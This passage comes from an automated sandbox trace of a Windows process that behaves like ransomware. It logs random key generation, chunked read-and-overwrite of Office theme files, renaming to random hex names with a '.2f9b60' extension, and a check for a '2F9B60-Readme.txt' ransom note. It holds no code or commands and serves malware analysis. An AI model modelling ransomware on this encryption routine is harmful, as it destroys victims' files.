RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x57a7b560 [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x5e7b094f [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x7dc77718 [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x125e3f64 [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x1f12de18 [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x155fe76b [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x793063ed [0089.337] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x1f811707 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x3c1a514 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x7fb75747 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x58a5cc26 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x39edb80e [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x1f208be6 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x1f0299ef [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0xd7ec21c [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0xfceea57 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x3fc82d0f [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x19ac1287 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x50894c81 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x7a98f908 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x513a835e [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x730094c2 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x2b0b88a8 [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x31eef89d [0089.338] RtlRandomEx (in: Seed=0x2566f750 | out: Seed=0x2566f750) returned 0x1e09a40 [0089.346] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.347] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2566f7c0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesRead=0x2566f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.353] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3f0) returned 1 [0089.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0089.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0089.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0089.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.355] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2566f7c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2566f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.358] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x65400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.358] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2566f7c0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesRead=0x2566f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.366] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x65400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0089.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.367] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2566f7c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2566f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.378] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xc5bce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.379] ReadFile (in: hFile=0xa44, lpBuffer=0x1cea8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2566f7c0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesRead=0x2566f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.379] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xc5bce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0089.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0089.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0089.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0089.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.380] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2566f7c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2566f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0089.382] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.382] WriteFile (in: hFile=0xa44, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2566f870, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x2566f870*=0x14a, lpOverlapped=0x0) returned 1 [0089.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0089.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2d0) returned 1 [0089.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f970 [0089.384] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="d5") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="42") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="26") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="b0") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="13") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="62") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="d3") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="e4") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="77") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="9e") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="1f") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="9a") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="1d") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="23") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="2c") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="4f") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="ab") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="1c") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="12") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="29") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="a9") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="58") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f99c, _Format="%c%c" | out: _Dest="e3") returned 2 [0089.384] sprintf (in: _Dest=0x1cd9f99e, _Format="%c%c" | out: _Dest="85") returned 2 [0089.384] RtlInitAnsiString (in: DestinationString=0x2566f8e8, SourceString="d54226b01362d3e4779e1f9a1d232c4fab1c1229a958e385" | out: DestinationString="d54226b01362d3e4779e1f9a1d232c4fab1c1229a958e385") [0089.385] RtlAnsiStringToUnicodeString (in: DestinationString=0x2566f8b8, SourceString="d54226b01362d3e4779e1f9a1d232c4fab1c1229a958e385", AllocateDestinationString=1 | out: DestinationString="d54226b01362d3e4779e1f9a1d232c4fab1c1229a958e385") returned 0x0 [0089.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2210 [0089.385] wcscat (in: _Dest=0x1b7ad160, _Source="d54226b01362" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d54226b01362") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d54226b01362" [0089.385] wcscat (in: _Dest=0x1b7ad160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d54226b01362.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d54226b01362.2f9b60" [0089.385] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d54226b01362.2f9b60", NtPathName=0x2566f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\d54226b01362.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106e80 [0089.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.386] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x2566f8f8, FileInformation=0x2566f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2566f8f8, FileInformation=0x2566f908) returned 0x0 [0089.386] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x2566f8f8, FileInformation=0x2566f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2210) returned 1 [0089.388] FlushFileBuffers (hFile=0xa44) returned 1 [0089.389] CloseHandle (hObject=0xa44) returned 1 [0089.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad160 [0089.390] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.390] wcscat (in: _Dest=0x1b7ad160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ba30) returned 1 Thread: id = 353 os_tid = 0xeb4 [0089.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx")) returned 0x20 [0089.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx", dwFileAttributes=0x20) returned 1 [0089.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0089.396] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x254ffca0 | out: lpFileSize=0x254ffca0*=67304) returned 1 [0089.396] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x106e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.396] ReadFile (in: hFile=0xa44, lpBuffer=0x254ffc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x254ffc68, lpOverlapped=0x0 | out: lpBuffer=0x254ffc20*, lpNumberOfBytesRead=0x254ffc68*=0x4, lpOverlapped=0x0) returned 1 [0089.398] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a510 [0089.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.399] NtQuerySystemTime (in: CurrentTime=0x254ffb60 | out: CurrentTime=0x254ffb60*=132462176952610000) returned 0x0 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x31e6b242 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x2825430b [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x131663fa [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x3f2deaf6 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x1e558d44 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0xc501e60 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x5e817434 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x6cf8c78f [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x1e257d74 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x2aec25ab [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x761d63f3 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x12f2e173 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x15a24fb8 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x5c760388 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x9d67212 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x771a041c [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0xcbc4aa7 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x49bf7bbc [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x2f6660d9 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x25e7cf16 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x62d1cd06 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x613e7d22 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x6adc960b [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x6392423f [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x55b37032 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x79879a02 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x4a5d4e89 [0089.399] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x1f7f3557 [0089.400] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x132c898 [0089.400] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x51bdcb4 [0089.400] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x1d031cfe [0089.400] RtlRandomEx (in: Seed=0x254ffb50 | out: Seed=0x254ffb50) returned 0x79621c33 [0089.411] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.411] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x254ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x254ffbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.413] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a510 [0089.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a510) returned 1 [0089.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a510 [0089.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.414] WriteFile (in: hFile=0xa44, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x254ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x254ffbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f970 [0089.419] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.419] WriteFile (in: hFile=0xa44, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x254ffc70, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x254ffc70*=0x110, lpOverlapped=0x0) returned 1 [0089.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0089.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0089.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85a4e0 [0089.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0089.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97350 [0089.433] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="2b") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="89") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="8c") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="60") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="e8") returned 2 [0089.433] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="45") returned 2 [0089.433] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="37") returned 2 [0089.433] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="a6") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="35") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="4c") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="c1") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="ff") returned 2 [0089.433] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="cd") returned 2 [0089.433] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="a0") returned 2 [0089.434] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="14") returned 2 [0089.434] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="00") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="70") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="6c") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="61") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="01") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="e7") returned 2 [0089.434] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="24") returned 2 [0089.434] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="58") returned 2 [0089.434] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="7d") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="f8") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="f7") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="42") returned 2 